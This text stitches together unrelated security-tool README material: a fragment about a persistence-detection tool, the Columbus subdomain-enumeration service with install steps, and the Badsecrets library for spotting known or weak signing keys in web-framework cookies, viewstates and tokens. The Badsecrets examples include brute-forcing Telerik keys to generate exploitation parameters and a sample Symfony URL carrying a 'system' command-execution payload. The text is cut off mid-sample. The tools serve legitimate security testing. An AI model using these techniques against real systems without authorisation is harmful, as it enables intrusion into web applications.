Most other checks will function fine because they are based entirely on reading registry hives or file-based artifacts (or can be converted to do so, such as directly reading Task XML as opposed to using built-in command-lets.)
Any limitations in checks when doing drive-retargeting will be discussed more fully in the GitHub Wiki.
TODO
Please be aware that some of these are (of course) more detected than others - for example, we are not detecting all possible registry modifications but rather inspecting certain keys for obvious changes and using the generic MITRE technique "Modify Registry" where no other technique is applicable. For other items such as COM hijacking, we are inspecting all entries in the relevant registry section, checking against 'known-good' patterns and bubbling up unknown or mismatched values, resulting in a much more complete detection surface for that particular technique.
This tool would not exist without the amazing InfoSec community - the most notable references I used are provided below.
Columbus Project is an API first subdomain discovery service, blazingly fast subdomain enumeration service with advanced features.
Columbus returned 638 subdomains of tesla.com in 0.231 sec.
By default Columbus returns only the subdomains in a JSON string array:
curl 'https://columbus.elmasy.com/lookup/github.com'But we think of the bash lovers, so if you don't want to mess with JSON and a newline separated list is your wish, then include the Accept: text/plain header.
DOMAIN="github.com"
curl -s -H "Accept: text/plain" "https://columbus.elmasy.com/lookup/$DOMAIN" | \
while read SUB
do
if [[ "$SUB" == "" ]]
then
HOST="$DOMAIN"
else
HOST="${SUB}.${DOMAIN}"
fi
echo "$HOST"
doneFor more, check the features or the API documentation.
Currently, entries are got from Certificate Transparency.
Usage of columbus-server:
-check
Check for updates.
-config string
Path to the config file.
-version
Print version informations.
-check: Check the lates version on GitHub. Prints up-to-date and returns 0 if no update required. Prints the latest tag (eg.: v0.9.1) and returns 1 if new release available. In case of error, prints the error message and returns 2.
git clone https://github.com/elmasy-com/columbus-server
make buildCreate a new user:
adduser --system --no-create-home --disabled-login columbus-serverCreate a new group:
addgroup --system columbusAdd the new user to the new group:
usermod -aG columbus columbus-serverCopy the binary to /usr/bin/columbus-server.
Make it executable:
chmod +x /usr/bin/columbus-serverCreate a directory:
mkdir /etc/columbusCopy the config file to /etc/columbus/server.conf.
Set the permission to 0600.
chmod -R 0600 /etc/columbusSet the owner of the config file:
chown -R columbus-server:columbus /etc/columbusInstall the service file (eg.: /etc/systemd/system/columbus-server.service).
cp columbus-server.service /etc/systemd/system/Reload systemd:
systemctl daemon-reloadStart columbus:
systemctl start columbus-server
If you want to columbus start automatically:
systemctl enable columbus-server
A pure python library for identifying the use of known or very weak cryptographic secrets across a variety of platforms. The project is designed to be both a repository of various "known secrets" (for example, ASP.NET machine keys found in examples in tutorials), and to provide a language-agnostic abstraction layer for identifying their use.
Knowing when a 'bad secret' was used is usually a matter of examining some cryptographic product in which the secret was used: for example, a cookie which is signed with a keyed hashing algorithm. Things can get complicated when you dive into the individual implementation oddities each platform provides, which this library aims to alleviate.
Check out our full blog post on the Black Lantern Security blog!
Inspired by Blacklist3r, with a desire to expand on the supported platforms and remove language and operating system dependencies.
| Name | Description |
|---|---|
| ASPNET_Viewstate | Checks the viewstate/generator against a list of known machine keys. |
| Telerik_HashKey | Checks patched (2017+) versions of Telerik UI for a known Telerik.Upload.ConfigurationHashKey |
| Telerik_EncryptionKey | Checks patched (2017+) versions of Telerik UI for a known Telerik.Web.UI.DialogParametersEncryptionKey |
| Flask_SignedCookies | Checks for weak Flask cookie signing password. Wrapper for flask-unsign |
| Peoplesoft_PSToken | Can check a peoplesoft PS_TOKEN for a bad/weak signing password |
| Django_SignedCookies | Checks django's session cookies (when in signed_cookie mode) for known django secret_key |
| Rails_SecretKeyBase | Checks Ruby on Rails signed or encrypted session cookies (from multiple major releases) for known secret_key_base |
| Generic_JWT | Checks JWTs for known HMAC secrets or RSA private keys |
| Jsf_viewstate | Checks Both Mojarra and Myfaces implimentations of Java Server Faces (JSF) for use of known or weak secret keys |
| Symfony_SignedURL | Checks symfony "_fragment" urls for known HMAC key. Operates on Full URL, including hash |
| Express_SignedCookies | Checks express.js signed cookies and session cookies for known 'session secret' |
| Laravel_SignedCookies | Checks 'laravel_session' cookies for known laravel 'APP_KEY' |
We have a pypi package, so you can just do pip install badsecrets to make use of the library.
The absolute easiest way to use Badsecrets is by simply running badsecrets after doing a pip install:
pip install badsecrets
badsecrets eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
This is doing the same thing as the cli.py example shown below.
To use the examples, after doing the pip install just git clone the repo and cd into the badsecrets directory:
git clone https://github.com/blacklanternsecurity/badsecrets.git
cd badsecrets
The commands in the example section below assume you are in this directory.
If you are using the Badsecrets BBOT module, you don't need to do anything else - BBOT will install the package for you.
Bad secrets includes an example CLI for convenience when manually checking secrets. It also has a URL mode, which will connect to a target and attempt to carve for cryptographic products and check any it finds against all modules.
python ./badsecrets/examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCopython ./badsecrets/examples/cli.py --url http://example.com/contains_bad_secret.htmlYou can also set a custom user-agent with --user-agent "user-agent string" or a proxy with --proxy http://127.0.0.1 in this mode.
Example output:
$ python ./badsecrets/examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
badsecrets - example command line interface
***********************
Known Secret Found!
Detecting Module: Generic_JWT
Secret: 1234
Details: {'Issuer': 'Issuer', 'Username': 'BadSecrets', 'exp': 1593133483, 'iat': 1466903083, 'jwt_headers': {'alg': 'HS256'}}
***********************Bad secrets includes a fully functional CLI example which replicates the functionality of blacklist3r in python badsecrets/examples/blacklist3r.
python ./badsecrets/examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AEFully functional CLI example for identifying known Telerik Hash keys and Encryption keys for Post-2017 versions (those patched for CVE-2017-9248), and brute-forcing version / generating exploitation DialogParameters values.
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspxOptionally include ASP.NET MachineKeys with --machine-keys (Will SIGNIFICANTLY increase brute-forcing time)
Brute-force detection of Symfony known secret key when "_fragment" URLs are enabled, even when no example URL containing a hash can be located. Relevent Blog Post.
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/One of the best ways to use Badsecrets, especially for the ASPNET_Viewstate and Jsf_viewstate modules is with the Badsecrets BBOT module. This will allow you to easily check across thousands of systems in conjunction with subdomain enummeration.
bbot -f subdomain-enum -m badsecrets -t evil.corp
See if a token or other cryptographic product was produced with a known key
from badsecrets import modules_loaded
Django_SignedCookies = modules_loaded["django_signedcookies"]
ASPNET_Viewstate = modules_loaded["aspnet_viewstate"]
Flask_SignedCookies = modules_loaded["flask_signedcookies"]
Peoplesoft_PSToken = modules_loaded["peoplesoft_pstoken"]
Telerik_HashKey = modules_loaded["telerik_hashkey"]
Telerik_EncryptionKey = modules_loaded["telerik_encryptionkey"]
Rails_SecretKeyBase = modules_loaded["rails_secretkeybase"]
Generic_JWT = modules_loaded["generic_jwt"]
Jsf_viewstate = modules_loaded["jsf_viewstate"]
Symfony_SignedURL = modules_loaded["symfony_signedurl"]
Express_SignedCookies = modules_loaded["express_signedcookies"]
Laravel_SignedCookies = modules_loaded["laravel_signedcookies"]
x = ASPNET_Viewstate()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("AgF5WuyVO11CsYJ1K5rjyuLXqUGCITSOapG1cYNiriYQ6VTKochMpn8ws4eJRvft81nQIA==","EDD8C9AE")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Telerik_HashKey()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("vpwClvnLODIx9te2vO%2F4e06KzbKkjtwmNnMx09D1Dmau0dPliYzgpqB9MnEqhPNe3fWemQyH25eLULJi8KiYHXeHvjfS1TZAL2o5Gku1gJbLuqusRXZQYTNlU2Aq4twXO0o0CgVUTfknU89iw0ceyaKjSteOhxGvaE3VEDfiKDd8%2B9j9vD3qso0mLMqn%2Btxirc%2FkIq5oBbzOCgMrJjkaPMa2SJpc5QI2amffBJ%2BsAN25VH%2BwabEJXrjRy%2B8NlYCoUQQKrI%2BEzRSdBsiMOxQTD4vz2TCjSKrK5JEeFMTyE7J39MhXFG38Bq%2FZMDO%2FETHHdsBtTTkqzJ2odVArcOzrce3Kt2%2FqgTUPW%2BCjFtkSNmh%2FzlB9BhbxB1kJt1NkNsjywvP9j7PvNoOBJsa8OwpEyrPTT3Gm%2BfhDwtjvwpvN7l7oIfbcERGExAFrAMENOOt4WGlYhF%2F8c9NcDv0Bv3YJrJoGq0rRurXSh9kcwum9nB%2FGWcjPikqTDm6p3Z48hEnQCVuJNkwJwIKEsYxJqCL95IEdX3PzR81zf36uXPlEa3YdeAgM1RD8YGlwlIXnrLhvMbRvQW0W9eoPzE%2FjP68JGUIZc1TwTQusIWjnuVubFTEUMDLfDNk12tMwM9mfnwT8lWFTMjv9pF70W5OtO7gVN%2BOmCxqAuQmScRVExNds%2FF%2FPli4oxRKfgI7FhAaC%2Fu1DopZ6vvBdUq1pBQE66fQ9SnxRTmIClCpULUhNO90ULTpUi9ga2UtBCTzI8z6Sb6qyQ52NopNZMFdrn9orzdP8 oqFeyYpF%2BQEtbp%2F5AMENkFkWUxHZn8NoSlO8P6G6ubSyDdY4QJPaFS4FxNhhm85WlZC9xfEZ1AGSSBOu9JJVYiKxXnL1yYLqrlWp5mfBHZeUBwEa%2FMjGxZEVYDhXo4PiU0jxN7fYmjaobp3DSgA5H3BcFuNG5d8CUnOlQcEie5b%2BUHOpI9zAk7qcuEUXbaZ5Mvh0t2jXCRALRKYDyBdbHlWAFo10dTIM6L3aSTM5uEz9%2FalXLXoWlMo7dTDpuO5bBfTq7YkoPExL3g3JJX47UhuLq85i3%2Bzxfvd7r%2Fmid69kbD3PnX%2Bj0QxaiShhyOZg6jl1HMeRRXvZap3FPCIfxbCf7j2TRqB5gYefBIIdGYjrdiL6HS8SbjXcROMwh2Fxnt505X4jmkmDcGmneU3z%2B84TSSFewcSpxGEGvHVkkU4OaT6vyFwsxCmdrR187tQZ7gn3ZkAiTps%2FfOPcL5QWXja06Z%2FHT3zboq6Hj9v9NBHzpC1eAK0YN8r4V2UMI3P0%2FsIPQYXhovoeLjJwq6snKZTX37ulE1mbS1uOY%2BZrvFYbLN5DdNL%2B%2Bl%2F%2BcWIpc0RSYBLo19xHpKeoeLjU2sxaYzK%2B92D4zKANdPPvsHPqJD1Y%2FBwCL%2FfZKaJfRK9Bj09ez1Z1ixTEKjIRCwuxijnJGq33faZchbwpMPpTfv43jEriGwXwoqOo9Mbj9ggPAil7O81XZxNT4vv4RoxXTN93V100rt3ClXauL%2BlNID%2BseN2CEZZqnygpTDf2an%2FVsmJGJJcc0goW3l43mhx2U79zeuT94cFPGpvITEbMtjmuNsUbOBuw6nqm5rAs%2FxjIsDRqfQxGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8gh T08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D")
if r:
print(r)< br/>else:
print("KEY NOT FOUND :(")
x = Flask_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Peoplesoft_PSToken()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABSpxUdcNT67zqSLW1wY5/FHQd1U6mgAAAAFAFNkYXRhXHicHYfJDUBQAESfJY5O2iDWgwIsJxHcxdaApTvFGX8mefPmAVzHtizta2MSrCzsXBxsnOIt9yo6GvyekZqJmZaBPCUmVUMS2c9MjCmJKLSR/u+laUGuzwdaGw3o")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Django_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret(".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRI pvaTZRQMM3-UypscEN57ECtXis")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Rails_SecretKeyBase()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRkM4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Generic_JWT()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Telerik_Encrypt ionKey()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("owOnMokk%2F4N7IMo6gznRP56OYIT34dZ1Bh0KBbXlFgztgiNNEBYrgWRYDBkDlX8BIFYBcBztC3NMwoT%2FtNF%2Ff2nCsA37ORIgfBem1foENqumZvmcTpQuoiXXbMWW8oDjs270y6LDAmHhCRsl4Itox4NSBwDgMIOsoMhNrMigV7o7jlgU16L3ezISSmVqFektKmu9qATIXme63u4IKk9UL%2BGP%2Fk3NPv9MsTEVH1wMEf4MApH5KfWBX96TRIc9nlp3IE5BEWNMvI1Gd%2BWXbY5cSY%2Buey2mXQ%2BAFuXAernruJDm%2BxK8ZZ09TNsn5UREutvNtFRrePA8tz3r7p14yG756E0vrU7uBz5TQlTPNUeN3shdxlMK5Qzw1EqxRZmjhaRpMN0YZgmjIpzFgrTnT0%2Bo0f6keaL8Z9TY8vJN8%2BEUPoq%2F7AJiHKm1C8GNc3woVzs5mJKZxMUP398HwGTDv9KSwwkSpHeXFsZofbaWyG0WuNldHNzM%2FgyWMsnGxY6S086%2F477xEQkWdWG5UE%2FowesockebyTTEn3%2B%2FqiVy%2FIOxXvMpvrLel5nVY%2FSouHp5n2URRyRsfo%2B%2BOXJZo7yxKQoYBSSkmxdehJqKJmbgxNp5Ew8m89xAS5g99Hzzg382%2BxFp8yoDVZMOiTEuw0J%2B4G6KizqRW9cis%2FELd0aDE1V7TUuJnFrX%2BlCLOiv100tKpeJ0ePMOYrmvSn0wx7JhswNuj%2BgdKqvCnMSLakGWiOHxu5m9Qqdm3s5sk7nsaxMkh8IqV%2BSzB9A2K1kYEUlY40II1Wun67OSdLlYfdCFQk4ED0N%2BV4kES%2F1xpGiaPhxjboFiiV%2BkvCyJfkuotYuN%2B42CqF yAyepXPA%2BR5jVSThT6OIN2n1UahUnrD%2BwKKGMA9QpVPTSiGLen2KSnJtXISbrl2%2BA2AnQNH%2BMEwYVNjseM0%2BAosbgVfNde2ukMyugo%2FRfrRM27cbdVlE0ms0uXhlgKAYJ2ZN54w1tPWhpGxvZtB0keWpZan0YPh8CBgzsAIMa04HMYLCtgUTqxKqANoKXSy7VIJUzg3fl%2F2WUELjpXK9gRcgexNWDNB1E0rHd9PUo0PvpB4fxSrRpb1LRryipqsuoJ8mrpOVrVMvjracBvtoykK3GrN%2FDUlXkSG%2FAeBQN7HwDJ9QPi3AtEOohp78Op3nmbItXo7IJUSjzBNzUYR8YPj6Ud7Fje9LZSwMBngvgx%2BOKy6HsV4ofOAU2%2FK1%2BfxI0KkCeoSso9NJHWgBD7ijfXUa1Hrc%2FuNU3mTlSSVp3VStQrJbQCkr4paaHYWeeO4pRZCDSBNUzs9qq3TDePwpEQc4QROrw5htdniRk26lFIFm%2Fzk2nC77Pg%2BrkRC1W%2BlRv0lyXsmXVBCe8F1szpWXHCxHNAJwKH%2FBb%2BV1k6AXFXVWPW5vADbXUvRu0s6KLaqu6a0KCB7dt3K2Ni%2FI6O%2FmISYXzknbMrwwakNfajbRF2ibodgR9R9xvoCoCXa3ka7%2Fejr%2BmsZ2HvPKUAffd2fNIWCQrejfpuIoOWiYx6ufN8E41HetCbYfvsI6JQfPOEdOYWI2px%2BLdfO3Nybq99%2BRSQOhjNZakBP54ozlCUfwgpLOmTBwsswZexv1RK5MIi8%2FWtjlJ%2FKjkYxdkFUlwggGS2xDwzcyl2%2FakNCQ5YmxjU8cRY7jZQRMo%2F8uTw5qa2MNZPaQGI18uRgr0i%2FTX3t57fJYCpMLXSaUKIdO7O%2FCQhIyGTS6KrPN%2B3%2FgUb%2BPQ1viGhpnWfGEYF9vhIlK57z8G8G82UQ3DpttD7M 8mQ0KsmCOq75ECx9CWrWGk51vADlm%2BLEZ5oWjVMs%2FThki40B7tL7gzFrBuQksWXYeubMzZfFo4ZQ49di4wupHG5kRsyL2fJUzgpaLDP%2BSe6%2FjCnc52C7lZ3Ls0cHJVf9HRwDNXWM%2B4h8donNy5637QWK%2BV7mlH%2FL4xBZCfU9l6sIz%2FWHMtRaQprEem6a%2FRwPRDBiP65I2EwZLKGY8I%2F1uXJncwC8egLu82JY9maweI0VmJSmRcTf0evxqqe7vc9MqpsUlpSVNh4bFnxVIo5E4PGX70kVaTFe0vu1YdGKmFX5PLvkmWIf%2FnwfgPMqYsa0%2F09trboJ5LGDEQRXSBb7ldG%2FwLdOiqocYKAb91SMpn1fXVPBgkPM27QZxHnSAmWVbJR2%2FIhO%2BIVNzkgFAJlptiEPPPTxuBh%2BTT7CaIQE3oZbbJeQKvRkrt4bawTCOzciU%2F1zFGxubTJTSyInjQ8%2F1tVo7KjnxPKqGSfwZQN%2FeWL6R%2FpvCb%2BE6D4pdyczoJRUWsSNXNnA7QrdjgGNWhyOMiKvkDf3RD4mrXbul18WYVTsLyp0hvQsbdwBWOh7VlwfrWdy%2BklsttFi%2B%2BadKR7DbwjLTcxvdNpTx1WJhXROR8jwW26VEYSXPVqWnYvfyZo4DojKHMSDMbAakbuSJdkGP1d5w0AYbKlAcVQOqp9hbAvfwwLy4ErdIsOg0YEeCcnQVRAXwaCI9JvWWmM%2FzYJzE3X45A6lU9Pe7TAbft810MYh7lmV6Keb5HI6qXFiD%2B8khBZqi%2FsK6485k0a86aWLxOb4Eqnoc41x%2BYPv5CWfvP6cebsENo%3D%2BIUg0f64C4y77N4FZ6C82m5wMpvDQIHqx0ZFIHLhwMg%3D")
if r:
print(r)
else:
print("KEY NOT FOUND :(" )
x = Jsf_viewstate()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RSCWwjtJcZNbWPcvPqL5zzfl03DoeMZfGGX7a9PSv+fUT8MAeKNouAGj1dZuO8srXt8xZIGg+wPCWWCzcX6IhWOtgWUwiXeSojCDTKXklsYt+kzlVbk5wOsXvb2lTJoO0Q==")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Symfony_SignedURL()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Express_SignedCookies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc")
if r:
print(r)
else:
print("KEY NOT FOUND :(")
x = Laravel_SignedCo okies()
print(f"###{str(x.__class__.__name__)}###")
r = x.check_secret("eyJpdiI6IlhlNTZ2UjZUQWZKVHdIcG9nZFkwcGc9PSIsInZhbHVlIjoiRlUvY2grU1F1b01lSXdveXJ0T3N1WGJqeVVmZlNRQjNVOWxiSzljL1Z3RDhqYUdDbjZxMU9oSThWRzExT0YvUmthVzVKRE9kL0RvTEw1cFRhQkphOGw4S2loV1ZrMkkwTHd4am9sZkJQd2VCZ3R0VlFSeFo3ay9wTlBMb3lLSG8iLCJtYWMiOiJkMmU3M2ExNDc2NTc5YjAwMGMwMTdkYTQ1NThkMjRkNTY2YTE4OTg2MzY5MzE5NGZmOTM4YWVjOGZmMWU4NTk2IiwidGFnIjoiIn0%3D")
if r:
print(r)
else:
print("KEY NOT FOUND :(")An additional layer of abstraction above check_secret, which accepts a python requests.response object or a string
import requests
from badsecrets import modules_loaded
Telerik_HashKey = modules_loaded["telerik_hashkey"]
x = Telerik_HashKey()
res = requests.get(f"http://example.com/")
r_list = x.carve(requests_response=res)
print(r_list)
telerik_dialogparameters_sample = """
Sys.Application.add_init(function() {
$create(Telerik.Web.UI.RadDialogOpener, {"_dialogDefinitions":{"ImageManager":{"SerializedParameters":"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 